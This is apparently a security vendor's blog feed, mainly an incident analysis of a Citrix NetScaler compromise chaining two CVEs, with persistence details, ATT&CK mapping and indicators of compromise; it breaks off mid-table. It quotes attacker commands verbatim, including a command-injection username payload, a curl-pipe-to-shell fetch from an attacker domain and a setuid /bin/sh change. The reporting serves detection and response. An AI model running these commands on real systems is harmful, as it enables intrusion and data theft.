67);'>Velociraptor</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>A Velociraptor Artifact </span><a href="https://docs.velociraptor.app/exchange/artifacts/pages/phpinventory/" target="_blank"><span style='font-size: undefined;'>Generic.Applications.PHPInventory</span></a><span style='font-size: undefined;'> is available to inventory PHP installations on Windows, Linux and macOS for remediation scoping. This artifact allows for the collection of package versions, common binary and module paths, and running PHP processes.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 21, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 21, 2026:</strong></span><span style='font-size: undefined;'> Updated to reflect availability of vulnerability checks.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 22, 2026</strong></span><span style='font-size: undefined;'>: Updated the Overview section to include Rapid7’s findings on a PoC and the Rapid7 Customers section to include a link to the FAQ documentation.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 23, 2026</strong></span><span style='font-size: undefined;'>: Updated the Exposure Command, Vulnerability Management, and Nexpose section to describe authenticated coverage, Linux distro backported coverage, and more.</span></p></li><li><span style='font-size: undefined;'><strong>October 27, 2026</strong></span><span style='font-size: undefined;'>: Updated the Overview to note that CVE-2026-109618 and CVE-2026-109619 were added to the CISA KEV catalog. Updated Rapid7 customers section to reflect added Windows support.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-109618-and-cve-2026-109619-critical-unauthenticated-remote-code-execution-in-php</link>
      <guid isPermaLink="false">blt9fac75b373c35506</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 21 Oct 2026 15:22:52 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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    <item>
      <title><![CDATA[Rapid7 Analysis: NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>In early October 2026, Rapid7 analysts investigated a compromise of a Citrix NetScaler ADC appliance. The appliance was running an affected 14.1 build and was exposed to active exploitation targeting NetScaler authentication and SAML deployments.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The intrusion achieved root code execution, deployed multiple persistence mechanisms, installed PHP web shells, created outbound command-and-control and internal tunnelling capabilities, performed targeted reconnaissance of DNS, LDAP/Active Directory, management services and VMware vCenter infrastructure, and exfiltrated NetScaler configuration and key material.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The activity overlaps with public reporting on the WHIPSHOT/SLAPSHOT NetScaler campaign. However, this case provides additional detail on the operational lifecycle, including repeated post-reboot execution through the crash-handling workflow, HA-aware persistence, a dedicated Go reconnaissance tool, a separate FreeBSD proxy agent, and a staged collection pipeline.</span></p><h2 style="direction: ltr;">Key findings</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The first confirmed root execution occurred shortly after attacker-controlled text was inserted into a NetScaler authentication username.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The injected text caused or immediately preceded repeated nsaaad crashes and a Pitboss reboot.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>After reboot, the NetScaler call-home crash handler processed the retained attacker-controlled text and executed a payload as root.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker installed cookie-authenticated PHP web shells behind CSS-looking Apache aliases.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker set /bin/sh to mode 6555, allowing an unprivileged web process to obtain effective root privileges.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The implant framework maintained access through cron, rc.netscaler, watchdog loops, an outbound reverse agent, and an HTTP-fronted TCP proxy.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>HA synchronization and forced failover logic attempted to preserve access across the appliance pair.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>A Go tool mapped internal routes, DNS, LDAP/AD, management services and VMware vCenter systems. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>NetScaler configuration, historical configurations, HTTP configuration, diagnostics and system backup material were staged for exfiltration.</span></p></li></ul><h2 style="direction: ltr;">Technical Analysis</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Initial access</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The first event was an authentication request containing attacker-controlled text similar to:</span></p><pre language="html">pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v ...;sh${IFS}/v;#</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The observed chain was:</span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd85081e76afce498/6ad637369d9962be0f330378/ns_int_1.png" height="369" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ns_int_1.png" asset-alt="ns_int_1.png" width="660" max-width="660" max-height="369" style="max-width: 660px; width: 660px; max-height: 369px; height: 369px; text-align: center" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd85081e76afce498/6ad637369d9962be0f330378/ns_int_1.png" data-sys-asset-uid="bltd85081e76afce498" data-sys-asset-filename="ns_int_1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ns_int_1.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='color:rgb(102, 102, 102);font-size: undefined;'><em>Figure 1: Sequence diagram showing the attack chain</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Logs collected show attackers chaining </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-88771"><span style='font-size: undefined;'>CVE-2026-88771</span></a><span style='font-size: undefined;'>, the pre-authentication log-poisoning/RCE issue, with </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-88779"><span style='font-size: undefined;'>CVE-2026-88779</span></a><span style='font-size: undefined;'>, the separate SAML-parsing crash. A two-vulnerability sequence in which the SAML parsing flaw supplies a crash/reboot condition while the log-poisoning flaw supplies attacker-controlled command text.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The evidence demonstrates more than an attempted chain: the injected command, nsaaad crash loop, Pitboss reboot, post-reboot handler activity, and root payload execution are all directly correlated across independent logs and filesystem timestamps. The first implant files were created at the same second as the first logged post-reboot execution, and later stages, web shells, tunnels, reconnaissance tooling and exfiltration were confirmed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 also published an</span><a href="https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/"><span style='font-size: undefined;'> ETR </span></a><span style='font-size: undefined;'>on the Netscaler zero days currently exploited in the wild.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Repeated post-reboot execution</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The initial execution was not a one-time event. The appliance recorded repeated Pitboss-initiated reboots and repeated call-home handler executions over several days.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The handler re-executed stages from multiple infrastructure addresses and the repeated execution model allowed the operator to refresh persistence, deploy new components and continue collection after appliance restarts.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The crash-handling path functioned as a delayed and repeatable execution trampoline, the chaining happened to avoid waiting 24h for the injected payload to run.</span></p><h2 style="direction: ltr;">Payload evolution</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Two .slap dropper versions were recovered:</span></p><pre language="html">17447d.sh (earlier version)
SHA-256: a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556</pre><p></p><p><span style='font-size: undefined;'>and:</span></p><pre language="html">1.sh 
SHA-256: 6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The later version added reverse-agent functionality, relay installation, HA recovery, stage tracking, and structured upload logging, indicating operational maturation during the campaign.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The nsvmd installer branch was separately identified as:</span></p><pre language="html">2.sh / r.sh
SHA-256: 56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186</pre><h2 style="direction: ltr;">Persistence and web shells</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The main framework used a directory under /nsconfig/.slap.</span></p><pre language="html">/nsconfig/.slap/vc
/nsconfig/.slap/vcscan-agent.sh
/nsconfig/.slap/agent.pl
/nsconfig/.slap/bridge.pl
/nsconfig/.slap/boot.sh
/nsconfig/.slap/reverse-agent.sh</pre><p style="direction: ltr;"><span style='font-size: undefined;'> </span></p><p><span style='font-size: undefined;'>It deployed three web shell copies into the LogonPoint custom web directory:</span></p><pre language="html">.slap.receiver
.ctxs.receiver
receiver.deb</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The shells used a cookie-based command channel. Commands were supplied through a second cookie and returned through an HTTP 404 response body. The 404 response helped the shell blend into normal web traffic and made successful command requests resemble missing resources.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker modified Apache configuration to:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>execute .deb files as PHP;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>enable PHP execution;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>map CSS-looking URLs to .slap.receiver;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>accept randomized hexadecimal CSS suffixes;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>preserve an attacker backup of the HTTP configuration.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The alias created were the following:</span></p><pre language="html">/logon/LogonPoint/custom/receiver.v2.min.css
/logon/LogonPoint/custom/receiver.v2.min.&lt;hex&gt;.css
        ↓
/var/netscaler/logon/LogonPoint/custom/.slap.receiver</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>TA repeatedly set:</span></p><pre language="shell-session">chmod 6555 /bin/sh</pre><p style="direction: ltr;"><span style='font-size: undefined;'>This made the shell setuid and setgid. Because Apache normally runs with reduced privileges, this provided a path for the PHP web shell to obtain effective root privileges.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The framework also reseeded cron entries and boot hooks whenever it ran. This made the compromise resilient to reboots, image regeneration and loss of individual cron entries.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Tunnelling and command channels</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The intrusion deployed multiple redundant access paths.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Perl TCP session manager</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>agent.pl created a loopback listener on an ephemeral port and recorded it in /tmp/.uxdport</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It used /tmp/.uxdlock for process coordination and supported operations including:</span></p><pre language="html">ping
open
push
pull
exch
close</pre><p style="direction: ltr;"><span style='font-size: undefined;'>The open operation accepted arbitrary destination hosts and ports, turning the NetScaler into an internal TCP pivot.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Python HTTP tunnel</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The Python components provided a local session manager and HTTP front end:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>it accepted base64 commands in an HTTP header and returned tunnel responses in HTTP 404 bodies. This behavior overlaps with publicly reported WHIPSHOT/SLAPSHOT tooling.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Outbound reverse agent</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The reverse agent polled an external command endpoint every 15 seconds, executed the received command with /bin/sh -c, and returned output using HTTP PUT. This gave the operator command execution without requiring an inbound connection to the appliance.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>HA-aware persistence</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The framework included explicit HA recovery logic:</span></p><pre language="html">sync HA files all
force HA failover</pre><p style="direction: ltr;"><span style='font-size: undefined;'>The code attempted to synchronize implant files to the HA peer and, when appropriate, force failover so the node containing the implant became active.</span></p><h2 style="direction: ltr;">Internal reconnaissance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A stripped, statically linked FreeBSD Go binary was recovered from the .slap directory. The tool was designed to map infrastructure reachable from the compromised appliance.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It contains functionality associated with:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>local interface and route parsing;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>gateway-prefix discovery;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>subnet expansion;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>DNS server and domain discovery;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>DNS zone-transfer hunting;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>LDAP anonymous bind and RootDSE queries;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>LDAP searches;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>management-service checks;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>TLS certificate inspection;</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>VMware vCenter classification.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>A launcher named vcscan-agent.sh downloaded and validated the scanner as scanner-freebsd-amd64, installed it as /nsconfig/.slap/vc, and ran two stages: broad scanning of RFC1918 space and management-focused scanning of ranges derived from DNS and LDAP results. The launcher collected route, DNS, LDAP, management and vCenter results into files such as:</span></p><pre language="html">vcpersist-&lt;token&gt;_dns_candidates.tsv
vcpersist-&lt;token&gt;_dns_ldap_verified.tsv
vcpersist-&lt;token&gt;_vcenter_verified_all.txt</pre><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>It then compressed and uploaded the results to the operator infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This reconnaissance component addition confirms the campaign is active and developing, mapping the identity, management and virtualization infrastructure from a compromised ADC vantage point.</span></p><h2 style="direction: ltr;">nsvmd proxy</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The second payload branch deployed a FreeBSD Go agent named nsvmd through injection of </span><a href="http://2.sh/r.sh"><span style='font-size: undefined;'>2.sh/r.sh</span></a><span style='font-size: undefined;'> under /flash/.nsvm/nsvmd:</span></p><pre language="shell-session">curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=&lt;token&gt;|sh</pre><p style="direction: ltr;"><span style='font-size: undefined;'>The agent was started with:</span></p><pre language="shell-session">nsvmd -server v5v.in:443 -sni c.v5v.in</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The installer created a 45s watchdog (/flash/.nsvm/watchdog.sh), boot persistence through /nsconfig/rc.netscaler, 5 minute and daily cron persistence (/flash/.nsvm/</span><a href="http://guard.sh"><span style='font-size: undefined;'>guard.sh</span></a><span style='font-size: undefined;'>,/flash/.nsvm/restart.sh) marking nsvmd immutable using chflags uchg. Agent logs were collected under /flash/.nsvm/.agent.log and /flash/.nsvm/.wd.log.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Configuration and key-material collection</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker staged and uploaded:</span></p><pre language="html">/nsconfig/
ns.conf.0 through ns.conf.4
ns.conf.bak
/etc/httpd.conf
system backup archives
implant diagnostics</pre><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The configuration archive could contain encrypted credentials, LDAP/RADIUS bind information, administrative configuration, SSL private keys and key-encryption material. The collection logic also uploaded manifests and stage logs and retried failed uploads.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A separate archive was staged in the web root and successfully downloaded through an HTTP 200 request. The response size matched the staged archive size, providing direct evidence of configuration exfiltration through the web interface.</span></p><h2 style="direction: ltr;">MITRE ATT&CK techniques</h2><table><colgroup data-width='750'><col style="width:26.666666666666668%"/><col style="width:46.666666666666664%"/><col style="width:26.666666666666668%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Technique ID</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Technique Name</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Tactic</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1190</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exploit Public-Facing Application</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Initial Access</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1059.004</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Unix Shell</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Execution</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1059.006</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Python</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Execution</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1059.007</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>JavaScript/PHP</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Execution</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1105</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Ingress Tool Transfer</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1053.003</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cron</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1037.004</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RC Scripts</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1505.003</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Web Shell</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1548.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Setuid and Setgid</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Privilege Escalation</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1027</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Obfuscated Files or Information</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defense Evasion</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1070.004</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>File and Directory Removal</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defense Evasion</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1016</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>System Network Configuration Discovery</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Discovery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1018</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Remote System Discovery</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Discovery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1046</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Network Service Scanning</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Discovery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1090.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Internal Proxy</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1552.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Credentials In Files</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Credential Access</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1005</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Data from Local System</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Collection</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1074.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Local Data Staging</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Collection</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1560.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Archive Collected Data</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Collection</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1071.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Web Protocols</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1573</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Encrypted Channel</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1132.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Standard Encoding</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1572</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Protocol Tunneling</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1041</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration Over C2 Channel</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1020</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Automated Exfiltration</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration</span></p></td></tr></tbody></table><p style="text-align: center;"><span style='color:rgb(102, 102, 102);'><em>Table 1: MITRE ATT&CK Tactics and Techniques</em></span></p><h2 style="direction: ltr;">Indicators of compromise</h2><p></p><table><colgroup data-width='500'><col style="width:67.70491803278689%"/><col style="width:32.29508196721312%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Path</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Main framework directory</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.relay/</span>	</p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Relay implant directory</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/vc</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Reconnaissance scanner binary</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/vcscan-agent.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Reconnaissance scanner launcher script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/agent.pl</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Perl TCP session manager and pivot agent</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/bridge.pl</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Perl bridge script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/boot.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Boot persistence script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/reverse-agent.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Outbound reverse command execution agent</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.relay/run.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Relay runner script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.relay/target_agent.py</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Python relay agent script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/nsvmd</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>FreeBSD Go proxy agent binary</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/watchdog.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>45-second watchdog script for nsvmd</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/guard.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cron persistence guard script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/restart.sh</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Daily restart script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/nsvmd.tmp</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Temporary nsvmd binary path</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/.stop</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Uninstall/upgrade control marker</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/.agent.log</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Agent log file</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/flash/.nsvm/.wd.log</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Watchdog log file</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/tmp/.s2loot/</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Loot staging directory</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/tmp/.ux/slapshot.py</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Python HTTP tunnel/session manager component</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/tmp/.ux/whipd.py</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Python HTTP tunnel front-end component</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/tmp/.uxdlock</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Process coordination lock file</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/tmp/.uxdport</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Ephemeral loopback port recording file</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/netscaler/logon/LogonPoint/custom/.slap.receiver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>webshell</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/netscaler/logon/LogonPoint/custom/.ctxs.receiver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>webshell</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/var/netscaler/logon/LogonPoint/custom/receiver.deb</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>webshell</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/.slap.receiver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Backup webshell copy</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/.ctxs.receiver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Backup webshell copy</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>/nsconfig/.slap/receiver.deb</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Backup webshell 